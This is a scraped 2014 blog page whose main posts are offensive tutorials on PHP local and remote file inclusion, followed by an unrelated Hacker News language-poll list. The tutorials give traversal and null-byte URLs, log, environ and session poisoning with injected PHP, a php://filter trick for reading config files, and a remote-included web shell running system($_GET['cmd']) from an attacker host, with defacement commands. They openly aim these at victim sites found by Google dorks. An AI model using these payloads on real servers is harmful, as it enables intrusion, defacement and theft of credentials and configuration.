Wednesday, 30 April 2014

LFI’s Exploitation Techniques

              LFI’s Exploitation Techniques

What’s a Local File Inclusion?A local file inclusion (usually called “LFI”) is a webhacking technique that allow simply to include files from a local location. That means that we can include a file that is outside of the web directory (if we got rights), and execute PHP code.
<?php include($_GET['page']);?>
This code will search for the variable GET “Page”, include and execute the page specified by that GET variable. If you wan’t an example, you’ve surely already seen an website with something like “index.php?page=news.php” that’s it, that’s in a lot of case, an include. To start include file locally, we’ll use “../” that allow us to go to an directory upper than the actual one. We’ll try to include the file /etc/passwd, well, it’s not always readable but it’s a good start. We’ll use “../” to go to the root, then load /etc/passwd.
http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd
I personally prefer using “./” before the page name to verify if there’s an exploitable local file inclusion (example: index.php?page=news.php >> index.php?page=./news.php if it works, mostly there’s an LFI) but it won’t always work. Note that /etc/password will only works on Linux system.
The null byte technique.In most cases, the webmaster will not do an include like that, he’ll prefer add himself “.php” at the end of the inclusion. (Well, we can say that index.php?p=newsis prettier than index.php?p=news.php) He’ll use a code like that:
<?php include($_GET['page'].”.php”);?>
So, this time, the php will include again a page with the GET variable page, but it’ll add .php at the end. To bypass this restriction, we’ll use the null byte. The principe of the null byte is that it is an line terminator char. It means that everything after the null byte will be deleted. To use it, you’ll have to got a website with magic quotes off. The character urlencoded is “″ (the browser will automatically translate it) so, for example, this time we’ll gotta use that:
http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd
It’ll include /etc/passwd perfectly. The .php will be deleted by the null byte.

And now that I got a LFI, what should I do?
I actually know only 4 LFI exploitation technique, there they are:
The access.log
The principe is simple, we’ll include the log file that logs all the web connections to the server. In our case, it’ll be the access.log, but it can also be access_log, or any name in fact. (You’ll gotta see the apache/httpd configuration to know what’s the logfile name).
http://site.com/&lt;? phpinfo(); ?>
By the way, I think that the useragent is not urlencoded, so you can modify it and try with that.
The /proc/self/environ
You’ll gotta do something like that, then the server will log it inside the access_log, and when  you’ll include it, the code will be executed. Note that your browser automatically urlencode your special chars, so you’ll have to go to that url with a script that won’t auto-urlencode. If you go with your browser, it’ll be something like: “%3C? phpinfo(); ?%3E”.
It’s my favorite one. Try to include /proc/self/environ, you will see a list of actual processus variable. (Well, if you got rights to include that file, that’s not often the case) you’ll see something like that if you’re on Mozilla:
HTTP_USER_AGENT=Mozilla/5.0
Why it is interessant? Because you’ll can change your useragent to suit the php code you want. How? Go to “about:config” (type it in your Firefox Browser), create a new line, string, with these datas: “general.useragent.override” for the name, and “<? phpinfo(); ?>” for the value. (Note that there’s some tool that do it automatically, like useragent switcher). Reload the page, and you’ll see an phpinfo instead of “Mozilla/5.0″
The PHP Sessions Exploitation.
Another exploitation is the sessions exploitation. If your site got php sessions (phpsessid, etc..) you’ll can include them and if you can modify the datas, it’ll be easy to execute code. You’ll gotta include sess_[your phpsessid value]. Most of time, it is in /tmp, but you’ll can find it sometimes in /var/lib/php5/ also, etc.. The data stored in phpsessid should be everything (like a name at a register, an option you choose).
index.php?p=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
I suggest you to surf a little before trying to include the phpsessid, touch at everything, modify options, etc..
The upload
We don’t often heard of it, but it’s the easiest technique. Just upload a file that contain php code, include it. Example: There’s an forum on the site you’re actually trying LFIs, upload an avatar with modified code that contain php (hexedit it, and modify only at the center of the datas, so the forum will still recognize it as an image). Found the right path, and include your avatar, tadaa, your code is executed.

Read a file with LFI
There’s a technique that will allow us to “read” a file with a LFI. (Interessant file to check should be config.php file, that normally, will only be executed, not shown). We’ll use PHP Filters to help us do it:
index.php?page=php://filter/read=convert.base64-encode/resource=config
This code will base64 the resource “config” (like if it was index.php?page=config, but with base64′d) with that, your code won’t be executed, and you’ll can base64_decode() it after to take the original config.php file. This method won’t need magic quotes but you’ll need to have a PHP Version higher or egal to PHP5.

Special cases
Sometimes, even if you can read the /etc/passwd, it is not an include. For example, when they’ll use readfile() in php, it’ll load the file, but php code won’t be executed. It’s a problem to execute php code, but well, it’ll give you an advantage on one point, you’ll can read configs file.
index.php?page=./forum/config
Then show the source of the page (CTRL+U) to have the code.

The “Does a folder exist” trick.
If you got a LFI, a good technique to know if a folder exist is simply to enter, then go out of it. Example:
index.php?page=../../../../../../var/www/dossierexistant/../../../../../etc/passwd

How to protect from LFIs?
Well, first, activate magic quotes, it’s not the “perfect solution”, but it’ll help. Then you should also activate open_basedir to only read into your web folder and /tmp, you should also do a function that parse the “/” , “.” and “″ char.
But well, the best option is the non dynamic include.
if ($_GET['page'] == “news”) {include(“news.php”);} else {include (“accueil.php”);}

Remote File Inclusion Tutorial

              Remote File Inclusion Tutorial
RFI stands for Remote File Inclusion that allows the attacker to upload a custom coded/malicious file on a website or server using a script. The vulnerability exploit the poor validation checks in websites and can eventually lead to code execution on server or code execution on website (XSS attack using javascript). This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of tutorial, I suppose you will know what it is all about and may be able to deploy an attack or two.

RFI is a common vulnerability and trust me all website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and do almost anything. What makes it more dangerous is that you only need to have your common sense and basic knowledge of PHP to execute this one, some BASH might come handy as most of servers today are hosted on Linux.


Starting with RFI
Lets get it started. The first step is to find vulnerable site, you can easily find them
using Google dorks.If you don't have any idea, you might want to read about advanced
 password hacking using Google dorks or to use automated tool to apply Google dorks
 using Google. Now lets assume we have found a vulnerable website
http://victimsite.com/index.php?page=home
As you can see, this website pulls documents stored in text format from server and
 renders them as web pages. We can find ways around it as it uses PHP include
 function to pull them out. Lets check it out.
http://victimsite.com/index.php?page=http://hackersite.com/evilscript.txt
I have included a custom script "evilscript" in text format from my website, which
 contains some code.Now, if its a vulnerable website, then any of these 3 things can
 happen
  • Case 1 - You might have noticed that the url consisted of "page=home" had
  •  no extension, but I have included an extension in my url,hence the site may 
  • give an error like 'failure to include evilscript.txt.txt', this might happen as the
  •  site may be automatically adding the .txt extension to the pages stored in
  •  server.
  • Case 2 - In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  • Case 3 - successfull execution :)
Now once you have battled around this one, you might want to learn what to code inside the script. You may get a custom coded infamous C99 script (too bloaty but highly effective once deployed) or you might code yourself a new one. For this knowledge of PHP might come in handy. Here we go
<?php
echo "<script>alert(U 4r3 0wn3d !!);</script>";
echo "Run command: ".htmlspecialchars($_GET['cmd']);

system($_GET['cmd']);
?>
The above code allows you to exploit include function and tests if the site if RFI (XSS) vulnerable by running the alert box code and if successful, you can send custom commands to the linux server in bash. So, if you are in luck and if it worked, lets try our hands on some Linux commands. For example to find the current working directory of server and then to list files, we will be using 'pwd' and 'ls' commands
 http//victimsite.com/index.php?cmd=pwd&page=http://hackersite.com/ourscript

http//victimsite.com/index.php?cmd=ls&page=http://hackersite.com/ourscript
What it does is that it sends the command as cmd we put in our script and begins print the working directory and list the documents.Even better you can almost make the page proclaim that you hacked it by using the 'echo' command.
 cmd=echo U r pwn3d by xero> index.php
It will then re-write the index.php and render it.In case, its a primitive website which stores pages with .txt extension, you might want to put it with along the .txt files. Now as expected, we are now the alpha and the omega of the website :) we can download, remove, rename, anything! Want to download stuff ? try the 'wget' function...

I leave the rest to your creativity !

Monday, 28 April 2014

Top 20 Most Popular Programming Languages Among Hacker

Top 20 Most Popular Programming Languages Among Hacker 


Two weeks ago someone ran a poll on Hacker News asking what the readers’ favorite programming language was. Yesterday (April 5) I took a look back at the poll to see who came out on top.
I wasn’t surprised to see Python win, but I was surprised to see it lead Ruby by over 1,000 votes. C# fared well with 5th place, and Haskell and Clojure rounded out the top 10.
  1. Python (3044)
  2. Ruby (1718)
  3. JavaScript (1412)
  4. C 966
  5. C# 828Python source code
  6. PHP 662
  7. Java 551
  8. C++ 529
  9. Haskell 518
  10. Clojure 458
  11. CoffeeScript 361
  12. Objective C 326
  13. Lisp 321
  14. Perl 310
  15. Scala 233
  16. Scheme 190
  17. Other 188
  18. Erlang 162
  19. Lua 145
  20. SQL 101
No other language had over 100 votes, but Groovy was added two hours late, so perhaps if were included to begin with it would be on the list instead of “other.”
Cobol came in dead last with 10 votes.
Compare that with RedMonk’s comparison of programming language usage on GitHub matched to StackOverflow questions:
Polls like this don’t do much to tell us which programming languages are “best” or what languages are most used in production. They’re not even controlled to make sure the people voting are actually programmers, so it’s hard to read too much into them. But they do tell a bit about what languages developers like to use. As developers become entrepreneurs and startups become enterprises, these sort of preferences can have an impact on the job market, so taking a look at these sorts of lists can help developers decide what to learn. And for employers, they can provide a data point for deciding what languages attract developers. Of course the usual caveats apply – use the best tool for the job and use these results as only a single data point weighted against many others to decide what to learn/use.

Python Tutorial - Part 2

Python Tutorials Part 2 After installation of Python software on windows machine in previous tutorial, lets proceed ...